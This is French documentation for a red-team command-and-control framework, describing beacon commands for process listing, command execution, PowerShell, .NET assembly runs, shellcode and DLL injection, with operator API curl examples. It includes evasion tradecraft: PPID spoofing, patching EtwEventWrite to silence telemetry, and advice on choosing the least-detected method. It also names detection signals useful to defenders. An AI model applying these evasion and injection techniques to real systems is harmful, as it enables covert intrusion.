Gestion des processus¶
Commandes pour l'interaction des processus : répertorier les processus en cours d'exécution, exécuter des commandes, générer de nouveaux processus, injecter dans des processus existants et tuer des processus sur l'hôte cible.
Les commandes de gestion de processus se répartissent en deux modèles d'exécution :
- Exécution en ligne : s'exécute au sein du processus de beacon lui-même. Aucun processus enfant n'est créé, mais un crash affecte le beacon.
- Fork-and-run - génère un processus enfant sacrificiel, y effectue le travail, capture la sortie via un canal nommé, puis met fin au processus enfant. Plus sûr pour le beacon mais crée des artefacts de processus.
flowchart LR
A[Operator] -->|Shell Command| B[Backend]
B -->|Task Queue| C[Beacon]
C -->|Inline| D[Beacon Process<br/>Direct Execution]
C -->|Fork & Run| E[Sacrificial Process<br/>Output via Pipe]
style A fill:#6a1b9a,color:#fff
style B fill:#4a148c,color:#fff
style C fill:#311b92,color:#fff
style D fill:#1a237e,color:#fff
style E fill:#0d47a1,color:#fff Référence des commandes¶
| Commande | Syntaxe | Modèle d'exécution | Description | Impact de l'OPSEC |
|---|---|---|---|---|
ps | ps | En ligne | Liste des processus en cours d'exécution | Faible |
kill | kill <pid> | En ligne | Tuer le processus par PID | Faible |
shell | shell <command> | Fourcher et courir | Exécuter via cmd.exe /c | Élevé |
run | run <program> [args] | Fourcher et courir | Exécuter sans cmd.exe, capturer la sortie | Moyen |
execute | execute <program> [args] | Fourcher et courir | Exécuter sans cmd.exe, aucune sortie | Moyen |
powershell | powershell <command> | Fourcher et courir | Exécuter via powershell.exe | Élevé |
powerpick | powerpick <command> | Fourcher et courir | PowerShell non géré (pas de powershell.exe) | Moyen |
psinject | psinject <pid> <arch> <command> | Injection | PowerShell dans un processus distant | Élevé |
execute-assembly | execute-assembly <path> [args] | Fourcher et courir | Assemblage .NET en mémoire | Moyen |
execute-dll | execute-dll <dll_data> [arch] | Fourcher et courir | DLL via sRDI en processus sacrificiel | Moyen |
inline-execute | inline-execute <bof> [args] | En ligne | Fichier objet beacon (BOF) | Faible |
shspawn | shspawn <arch> <shellcode> | Fourcher et courir | Shellcode en processus sacrificiel | Moyen |
shinject | shinject <pid> <arch> <shellcode> | Injection | Shellcode dans le processus existant | Élevé |
dllinject | dllinject <pid> <dll> | Injection | Injection de DLL réfléchissante | Élevé |
dllload | dllload <pid> <dll> | Injection | DLL via LoadLibrary | Élevé |
Liste des processus¶
ps¶
Répertoriez les processus en cours d’exécution sur l’hôte cible. L'implant énumère les processus utilisant NtQuerySystemInformation ou CreateToolhelp32Snapshot -- aucun cmd.exe n'est généré. La sortie inclut le PID, le PPID, le nom du processus, l’architecture, l’utilisateur et l’ID de session.
Type de tâche : ps (méthode : list)
Point de terminaison dédié : POST /api/v1/cockpit/beacons/:id/processes
Exemple de résultat :
PID PPID Name Arch User Session
--- ---- ---- ---- ---- -------
0 0 [System Process] x64 0
4 0 System x64 NT AUTHORITY\SYS 0
672 4 smss.exe x64 NT AUTHORITY\SYS 0
788 672 csrss.exe x64 NT AUTHORITY\SYS 0
1284 788 svchost.exe x64 NT AUTHORITY\SYS 0
3456 1284 explorer.exe x64 CORP\jsmith 2
5678 3456 chrome.exe x64 CORP\jsmith 2
OPSEC
L’énumération des processus utilise les API Windows natives sans générer de processus enfants. Il s’agit de l’une des commandes de reconnaissance à impact le plus faible disponible. Cependant, la liste fréquente des processus peut être corrélée par l'analyse comportementale.
Fin du processus¶
tuer¶
Terminez un processus par PID en utilisant TerminateProcess.
Type de tâche : kill (méthode : kill)
Point de terminaison dédié : POST /api/v1/cockpit/beacons/:id/processes/kill
OPSEC
La fin des processus peut déclencher des alertes EDR, en particulier pour les processus protégés ou surveillés. Les événements de fin de processus sont enregistrés par les fournisseurs Sysmon (ID d'événement 5) et ETW.
Exécution des commandes¶
Trois variantes d'exécution de commandes sont disponibles, chacune avec des compromis différents entre OPSEC et fonctionnalités.
Type de tâche : exec (la méthode varie : shell, run, execute)
Exécutez une commande via cmd.exe /c. Capture la sortie et la renvoie à l'opérateur. Il s'agit de la méthode d'exécution la plus compatible, mais elle a l'impact OPSEC le plus élevé en raison de la création du processus cmd.exe.
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "shell whoami /all"}'
OPSEC
- Génère
cmd.exeen tant que processus enfant du beacon - Détectable via Sysmon Event ID 1 (création de processus) avec la ligne de commande
cmd.exe /c - Les produits EDR surveillent étroitement les relations parent-enfant
cmd.exe - Lorsque l'usurpation d'identité PPID est activée,
cmd.exeapparaît sous le parent usurpé. - MITRE ATT&CK : T1059.003 (Interpréteur de commandes et de script : Windows Command Shell)
Exécutez un programme directement sans cmd.exe. Capture la sortie et la renvoie à l'opérateur. Impact OPSEC inférieur à shell car aucun interpréteur de commandes n'est impliqué.
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "run whoami.exe /all"}'
La commande run distribue une tâche exec avec la méthode run, qui appelle CreateProcess directement pour le programme spécifié, capture stdout et stderr et renvoie la sortie combinée.
OPSEC
- Pas d'intermédiaire
cmd.exe-- le programme cible s'exécute directement en tant qu'enfant du beacon - Crée toujours un processus enfant (visible dans l'arborescence des processus)
- Héritage de jeton : s'exécute sous le jeton actuellement emprunté s'il est actif
- MITRE ATT&CK : T1106 (API native)
Exécutez un programme en arrière-plan sans capturer la sortie. Le programme démarre et le beacon revient immédiatement. Utilisez-le pour les opérations de longue durée ou lorsque la sortie n’est pas nécessaire.
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "execute notepad.exe"}'
Retours : Started notepad.exe (PID 4321)
OPSEC
- Pas d'intermédiaire
cmd.exe, pas de tuyau de sortie - Crée un processus enfant détaché
- Le processus continue de s'exécuter après le retour du beacon
- Héritage de jeton : s'exécute sous le jeton actuellement emprunté s'il est actif
- MITRE ATT&CK : T1106 (API native)
Héritage de jetons¶
Les trois commandes d'exécution (shell, run, execute) héritent du jeton d'emprunt d'identité actuel du beacon. Si vous avez utilisé steal_token ou make_token pour usurper l'identité d'un autre utilisateur, les processus enfants s'exécutent sous cette identité. Celui-ci utilise CreateProcessAsUser en interne via le SysProcAttr.Token de Go.
Usurpation PPID¶
Lorsque l'usurpation d'identité PPID est activée (via config ppid_target <process>), la commande shell génère cmd.exe avec un faux processus parent. L'enfant apparaît dans les outils de l'arborescence des processus sous le parent usurpé (par exemple, explorer.exe) au lieu du processus beacon.
Limites de l'usurpation d'identité PPID
- L'usurpation d'identité PPID utilise
PROC_THREAD_ATTRIBUTE_PARENT_PROCESSviaCreateProcess - La capture de sortie n'est pas disponible avec l'usurpation d'identité PPID (la commande s'exécute dans une arborescence de processus distincte)
- Détectable via les événements ETW
Microsoft-Windows-Kernel-ProcessoùEventHeader.ProcessIdrévèle le vrai parent - L'héritage de jetons et l'usurpation d'identité PPID s'excluent mutuellement : l'usurpation d'identité PPID est prioritaire.
Exécution PowerShell¶
Exécutez une commande via powershell.exe. Le beacon génère powershell.exe en tant que processus enfant, transmet la commande et capture la sortie.
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "powershell Get-Process | Select-Object -First 10"}'
OPSEC
- Génère
powershell.exeen tant que processus enfant - fortement surveillé par EDR - Soumis à l'analyse AMSI (Anti-Malware Scan Interface)
- La journalisation ScriptBlock enregistre la commande complète (ID d'événement 4104)
- La journalisation des modules enregistre les modules importés (ID d’événement 4103)
- La journalisation des transcriptions PowerShell peut capturer toutes les E/S dans un fichier de transcription
- MITRE ATT&CK : T1059.001 (Interpréteur de commandes et de script : PowerShell)
Exécutez PowerShell sans générer powershell.exe. Utilise PowerShell non géré via l'hébergement CLR dans le cadre d'un processus sacrificiel. Le .NET CLR est chargé dans le processus sacrificiel et la commande PowerShell est exécutée via l'espace de noms System.Management.Automation.
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "powerpick Get-Process | Select-Object -First 10"}'
Avantage OPSEC
powerpick évite de générer powershell.exe, qui est le principal signal de détection des attaques basées sur PowerShell. Cependant, l'hébergement du CLR dans un processus non PowerShell peut lui-même être suspect : les produits EDR surveillent les charges CLR (clr.dll, clrjit.dll) dans les processus inattendus. L'intégration AMSI dans .NET 4.8+ peut toujours s'appliquer.
Injectez une commande PowerShell dans un processus distant. Le beacon injecte un payload d'hébergement CLR dans le processus cible, qui exécute ensuite la commande PowerShell.
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "psinject 3456 x64 Get-Process"}'
| Paramètre | Description |
|---|---|
pid | PID du processus cible |
arch | Architecture de processus cible (x86 ou x64) |
command | Commande PowerShell à exécuter |
OPSEC
- Combine l'injection de processus avec l'hébergement CLR - deux opérations à haute visibilité
- Le processus cible charge les DLL CLR (signal de détection)
- AMSI peut s'appliquer dans le contexte du CLR injecté
- L’injection inter-processus déclenche l’ID d’événement Sysmon 8 (CreateRemoteThread)
- MITRE ATT&CK : T1055 (injection de processus) + T1059.001 (PowerShell)
Exécution de l'assemblage .NET¶
exécuter-assemblage¶
Exécutez un assembly .NET en mémoire via l’hébergement CLR dans un processus sacrificiel. Le binaire de l'assembly est lu à partir de la machine de l'opérateur, converti en shellcode via Donut sur le relais et exécuté via fork-and-run. La sortie est capturée via un canal nommé.
Type de tâche : execute_assembly (envoyé via Relay for Donut conversion)
Comment ça marche :
- Le backend lit le fichier d'assemblage .NET et l'encode en base64
- Le relais convertit l'assembly en shellcode à l'aide de Donut (
DONUT_MODULE_NET_EXE) - Le beacon engendre un processus sacrificiel (en utilisant la configuration spawnto)
- Le shellcode est injecté dans le processus sacrificiel
- CLR charge et exécute l'assembly
- La sortie est capturée via un canal nommé et renvoyée à l'opérateur
- Le processus sacrificiel se termine
Préfixe PATCHES : Spécifiez éventuellement les correctifs en mémoire à appliquer avant l'exécution. Format : PATCHES: dll,function,offset,hex_bytes. Utilisation courante : patch EtwEventWrite à ret (c3) pour supprimer la télémétrie ETW de l'assembly.
OPSEC
- DLL CLR chargées dans le processus sacrificiel :
clr.dll,clrjit.dll,mscorlib.ni.dll - Le chargement du CLR dans les processus non-.NET est un signal de détection puissant pour l'EDR
- Aucun fichier n'est déposé sur le disque : l'assembly s'exécute entièrement en mémoire
- La création de processus sacrificiels génère l'ID d'événement Sysmon 1
- L'investigation de la mémoire peut récupérer les artefacts de l'assembly .NET
- MITRE ATT&CK : T1059.001 (PowerShell/CLR) + T1055 (injection de processus)
exécuter-dll¶
Exécutez la fonction exportée d'une DLL en mémoire via sRDI (Shellcode Reflective DLL Injection) et fork-and-run. La DLL est convertie en shellcode indépendant de la position et exécutée dans un processus sacrificiel avec E/S bidirectionnelles.
Type de tâche : postex (méthode : execute)
OPSEC
- La DLL est convertie en shellcode via sRDI -- aucun fichier sur le disque
- S'exécute dans un processus sacrificiel via fork-and-run
- Sortie capturée via un canal nommé (E/S bidirectionnelles)
- Détection : artefacts DLL dans la mémoire du processus, création de processus sacrificiels
Exécution du BOF¶
exécution en ligne¶
Exécutez un fichier objet beacon (BOF) en ligne dans le processus de beacon. Les BOF sont des fichiers objets COFF indépendants de la position qui s'exécutent directement dans l'espace mémoire du beacon sans créer de processus sacrificiel.
Type de tâche : bof_execute
Comment ça marche :
- Le backend lit le fichier BOF et l'encode en base64
- L'exécuteur BOF du beacon résout les importations du BOF par rapport à l'API Beacon.
- La fonction
godu BOF s'exécute dans le propre thread du beacon - La sortie est renvoyée via l'API de sortie BOF (
BeaconPrintf,BeaconOutput)
BOF vs fork-and-run
Les BOF s'exécutent en ligne dans le processus de beacon, ce qui signifie qu'aucun processus enfant n'est créé. Il s'agit de la méthode d'exécution la plus conviviale pour OPSEC pour les tâches post-exploitation. Cependant, un BOF qui plante fera planter le beacon entière. Testez minutieusement les BOF dans un laboratoire avant leur utilisation en production.
OPSEC
- Aucune création de processus enfant - empreinte OPSEC la plus faible de toutes les méthodes d'exécution
- S'exécute dans l'espace d'adressage du beacon (risque de crash du beacon)
- Pas de chargement CLR, pas de moteurs de script, pas de suppression de fichiers
- Mémoire uniquement : le code BOF est chargé, exécuté et libéré
- MITRE ATT&CK : T1106 (API native)
Fork-and-Run / Injection de processus¶
Ces commandes exécutent du shellcode ou des DLL soit dans un nouveau processus sacrificiel (fork-and-run), soit dans un processus cible existant (injection).
shspawn¶
Exécutez le shellcode brut dans un processus sacrificiel via fork-and-run. Le beacon génère un nouveau processus (en utilisant la configuration spawnto), injecte le shellcode et l'exécute.
Type de tâche : shspawn
| Paramètre | Description |
|---|---|
arch | Architecture du shellcode : x86 ou x64 |
shellcode_file | Chemin d'accès au binaire shellcode brut sur la machine de l'opérateur |
La commande shspawn appelle le hook PROCESS_INJECT_SPAWN CNA, permettant aux scripts agresseurs de personnaliser la technique d'injection et la sélection du processus sacrificiel.
OPSEC
- Crée un processus sacrificiel (configurable via
spawnto) - Injection de processus dans le processus sacrificiel (Sysmon Event ID 8/10)
- Choisissez un binaire
spawntoqui se fond dans l'environnement cible - MITRE ATT&CK : T1055 (Injection de procédé)
shinject¶
Injectez du shellcode dans un processus existant. Contrairement à shspawn, cela cible un processus déjà en cours, évitant ainsi la création d'un nouveau processus sacrificiel.
Type de tâche : interop (méthode : shinject)
| Paramètre | Description |
|---|---|
pid | PID du processus cible |
arch | Architecture du processus cible : x86 ou x64 |
shellcode_file | Chemin d'accès au binaire shellcode brut sur la machine de l'opérateur |
La commande shinject appelle le hook PROCESS_INJECT_EXPLICIT CNA pour la personnalisation de la technique.
OPSEC
- Injection cross-processus dans un processus existant
- Allocation de mémoire dans le processus cible (VirtualAllocEx)
- Création de thread dans le processus cible (CreateRemoteThread ou équivalent)
- Détectable via l'ID d'événement Sysmon 8 (CreateRemoteThread), l'ID d'événement 10 (ProcessAccess)
- Choisissez un processus cible qui alloue normalement de la mémoire exécutable (par exemple, un navigateur)
- MITRE ATT&CK : T1055.001 (injection de bibliothèque de liens dynamiques) ou T1055.003 (piratage d'exécution de thread)
dllinjecter¶
Injection de DLL réfléchissante dans un processus cible. La DLL est chargée dans la mémoire du processus cible sans appeler LoadLibrary, évitant ainsi la chaîne d'événements de chargement de DLL standard.
Type de tâche : interop (méthode : dllinject)
| Paramètre | Description |
|---|---|
pid | PID du processus cible |
dll_file | Chemin d'accès à la DLL sur la machine de l'opérateur |
OPSEC
- Le chargement réfléchissant évite la chaîne d'événements standard
LdrLoadDll/LoadLibrary - Mémoire allouée en tant que
MEM_PRIVATE(et nonMEM_IMAGE) -- détectable par les scanners de mémoire - Aucun ID d'événement Sysmon 7 (chargement de DLL) car
LoadLibraryn'est pas appelé - Les écritures de mémoire inter-processus et la création de threads sont toujours visibles
- MITRE ATT&CK : T1055.001 (injection de bibliothèque de liens dynamiques)
téléchargement de dll¶
Chargez une DLL dans un processus cible via LoadLibrary. Contrairement à dllinject, celui-ci utilise le mécanisme de chargement de DLL Windows standard, qui déclenche des événements de chargement de DLL.
Type de tâche : interop (méthode : dllload)
| Paramètre | Description |
|---|---|
pid | PID du processus cible |
dll_path | Chemin d'accès à la DLL sur le système de fichiers cible |
OPSEC
- Utilise
LoadLibrary-- déclenche l'ID d'événement Sysmon 7 (chargement de DLL) - La DLL doit exister sur le système de fichiers de la cible (et non sur la machine de l'opérateur)
- Le fichier DLL est soumis à une analyse statique AV/EDR sur le disque
- Support
MEM_IMAGE– semble légitime dans les analyses de mémoire - Plus simple que l'injection réfléchissante mais plus détectable sur le disque
- MITRE ATT&CK : T1055.001 (injection de bibliothèque de liens dynamiques)
Référence du type de tâche¶
| Commande | Type de tâche | Module | Méthode |
|---|---|---|---|
ps | ps | ps | list |
kill | kill | tuer | kill |
shell | exec | exécutif | shell (par défaut) |
run | exec | exécutif | run |
execute | exec | exécutif | execute |
powershell | exec | exécutif | shell (via powershell.exe) |
powerpick | exec | exécutif | (CLR non géré) |
psinject | interop | interopérabilité | psinject |
execute-assembly | execute_assembly | Relais + shspawn | Conversion de beignets + fourchette et course |
execute-dll | postex | poste | execute (sRDI) |
inline-execute | bof_execute | bof | BOF en ligne |
shspawn | shspawn | shspawn | Fourcher et courir |
shinject | interop | interopérabilité | shinject |
dllinject | interop | interopérabilité | dllinject |
dllload | interop | interopérabilité | dllload |
Comparaison des modèles d'exécution¶
| Modèle | Processus enfant | Impact de l'accident | Capture de sortie | Niveau OPSEC |
|---|---|---|---|---|
| En ligne (BOF) | Aucun | Crash de beacon | Oui (API BOF) | Meilleur |
| Fork-and-run (shspawn, exécuter-assembly) | Sacrificiel | Crash d'un enfant uniquement | Oui (canal nommé) | Bien |
| Exécuter/Exécuter (exécuter, exécuter) | Enfant direct | Crash d'un enfant uniquement | Oui/Non | Moyen |
| Shell (shell, PowerShell) | cmd.exe/powershell.exe | Crash d'un enfant uniquement | Oui | Le pire |
| Injection (shinject, dllinject) | Aucun (existant) | Crash cible | Limité | Risque élevé |
Choisir la bonne méthode d'exécution
- BOF en premier -- si un BOF existe pour la tâche, utilisez
inline-execute. Aucune création de processus, empreinte la plus faible. - exécuter l'assemblage en second -- pour les outils .NET (Seatbelt, Rubeus, SharpHound), utilisez
execute-assembly. Fork-and-run protège le beacon. - exécuter pour les outils natifs -- utilisez
runau lieu deshellpour évitercmd.exe. Utilisez uniquementshelllorsque vous avez besoin de fonctionnalités shell (canaux, redirections, variables d'environnement). - powerpick plutôt que powershell - préférez toujours
powerpickpour éviter de générerpowershell.exe. - Dernière injection --
shinjectetdllinjectsont puissants mais risquent de faire planter le processus cible. Utiliser avec précaution.